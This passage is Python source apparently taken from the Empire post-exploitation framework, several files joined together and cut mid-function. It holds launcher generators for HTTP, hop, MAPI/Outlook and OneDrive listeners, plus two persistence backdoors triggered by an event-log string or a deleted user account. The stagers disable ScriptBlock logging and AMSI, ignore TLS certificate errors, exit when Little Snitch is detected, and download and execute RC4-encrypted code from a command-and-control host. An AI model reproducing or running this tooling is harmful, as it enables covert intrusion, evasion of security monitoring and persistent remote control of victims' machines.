'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $' + helpers.generate_random_script_var_name("GPF") + '.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" ))
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell payload = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': payload = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass payload += helpers.randomize_capitalization( "$GPF=[ref].Assembly.GetType(") payload += "'System.Management.Automation.Utils'" payload += helpers.randomize_capitalization( ").\"GetFie`ld\"(") payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") payload += "['ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("){$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" payload += helpers.randomize_capitalization("$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" payload += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) payload += "('EnableScriptB'+'lockLogging',0);" payload += helpers.randomize_capitalization("$val.Add") payload += "('EnableScriptBlockInvocationLogging',0);" payload += helpers.randomize_capitalization("$GPC") payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("=$val}") payload += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") payload += "'signatures','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}" ) # @mattifestation's AMSI bypass payload += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") payload += "'System.Management.Automation.AmsiUtils'" payload += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') payload += "'amsiInitFailed','NonPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,$true)};") payload += "};" payload += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) payload += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] payload += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections payload += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': payload += helpers.randomize_capitalization( '$wc.Headers.Add(') payload += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': payload += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy payload += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") payload += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") payload += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] payload += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") # TODO: reimplement payload retries? # code to turn the key string into a byte array payload += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") payload += "'%s');" % (stagingKey) # this is the minimized RC4 payload code from rc4.ps1 payload += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie payload += helpers.randomize_capitalization("$wc.Headers.Add(") payload += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) payload += "$ser='%s';$t='%s';" % (host, stage0) payload += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") payload += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution payload += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: payload = helpers.obfuscate( self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand) # base64 encode the payload and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(payload, launcher) else: # otherwise return the case-randomized payload return payload if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "import urllib2\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the payload and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): if not language: print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified") if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options'] staging_key = listener_options['StagingKey']['Value'] profile = listener_options['DefaultProfile']['Value'] launcher_cmd = listener_options['Launcher']['Value'] staging_key = listener_options['StagingKey']['Value'] poll_interval = listener_options['PollInterval']['Value'] base_folder = listener_options['BaseFolder']['Value'].strip("/") staging_folder = listener_options['StagingFolder']['Value'] taskings_folder = listener_options['TaskingsFolder']['Value'] results_folder = listener_options['ResultsFolder']['Value'] if language.startswith("power"): launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging if safeChecks.lower() == 'true': launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") launcher += "'System.Management.Automation.Utils'" launcher += helpers.randomize_capitalization(").'GetFie`ld'(") launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") launcher += "['ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("){$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" launcher += helpers.randomize_capitalization("$GPC") launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") launcher += "('EnableScriptB'+'lockLogging',0);" launcher += helpers.randomize_capitalization("$val.Add") launcher += "('EnableScriptBlockInvocationLogging',0);" launcher += helpers.randomize_capitalization("$GPC") launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" launcher += helpers.randomize_capitalization("=$val}") launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(") launcher += "'signatures','N'+'onPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(") launcher += "'System.Management.Automation.AmsiUtils'" launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') launcher += "'amsiInitFailed','NonPublic,Static'" launcher += helpers.randomize_capitalization(").SetValue($null,$true)};") launcher += "};" launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;") if userAgent.lower() == 'default': profile = listener_options['DefaultProfile']['Value'] userAgent = profile.split("|")[1] launcher += "$u='" + userAgent + "';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': launcher += helpers.randomize_capitalization("$wc.Headers.Add(") launcher += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: username = proxyCreds.split(":")[0] password = proxyCreds.split(":")[1] domain = username.split("\\")[0] usr = username.split("\\")[1] launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") launcher += "$Script:Proxy = $wc.Proxy;" # code to turn the key string into a byte array launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") launcher += ("'%s');" % staging_key) # this is the minimized RC4 launcher code from rc4.ps1 launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('") launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url'] launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];") launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(launcher, launcher_cmd) else: return launcher if language.startswith("pyth"): print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet") return "python not implimented yet" else: print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name")
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-EventLogBackdoor { Param( [Parameter(Mandatory=$False,Position=1)] [string]$Trigger="HACKER", [Parameter(Mandatory=$False,Position=2)] [int]$Timeout=0, [Parameter(Mandatory=$False,Position=3)] [int]$Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } $d = Get-Date $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String if($NewEvents -match $Trigger) { REPLACE_LAUNCHER $running=$False } else { Start-Sleep -s $Sleep } } } Invoke-EventLogBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["multi/launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc " launcher = helpers.powershell_launcher(script, modifiable_launcher) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % (parts[0], " ".join(parts[1:])) if obfuscate: scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) print scriptLauncher return scriptLauncher
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_hop generate_launcher(): no language specified!') if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) launcherBase += "import urllib2\n" launcherBase += "if urllib2.getproxies():\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module.") else: print helpers.color("[!] listeners/http_hop generate_launcher(): invalid listener name specification!")
def generate(self): script = """ function Invoke-DeadUserBackdoor { Param( [Parameter(Mandatory=$False,Position=1)] [int]$Timeout=0, [Parameter(Mandatory=$False,Position=2)] [int] $Sleep=30, [Parameter(Mandatory=$True,Position=3)] [string] $Username, [Parameter(Mandatory=$False,Position=4)] [switch] $Domain ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } if($Domain) { $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" $UserSearcher.PageSize = 1000 $count = @($UserSearcher.FindAll()).Count if($count -eq 0) { Write-Verbose "Domain user $Username not found!" $match=$True } } else { $comp = $env:computername [ADSI]$server="WinNT://$comp" $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.name -eq $Username} if(-not $usercheck) { $match=$True } } if($match) { REPLACE_LAUNCHER $running=$False } else { Start-Sleep -s $Sleep } } } Invoke-DeadUserBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile) return "" # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-DeadUserBackdoor started'" % (parts[0], " ".join(parts[1:])) return scriptLauncher
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization( "$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}};" ) # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$outlook = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization( '$mapi = $Outlook.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email'][ 'Value'] + '"} | 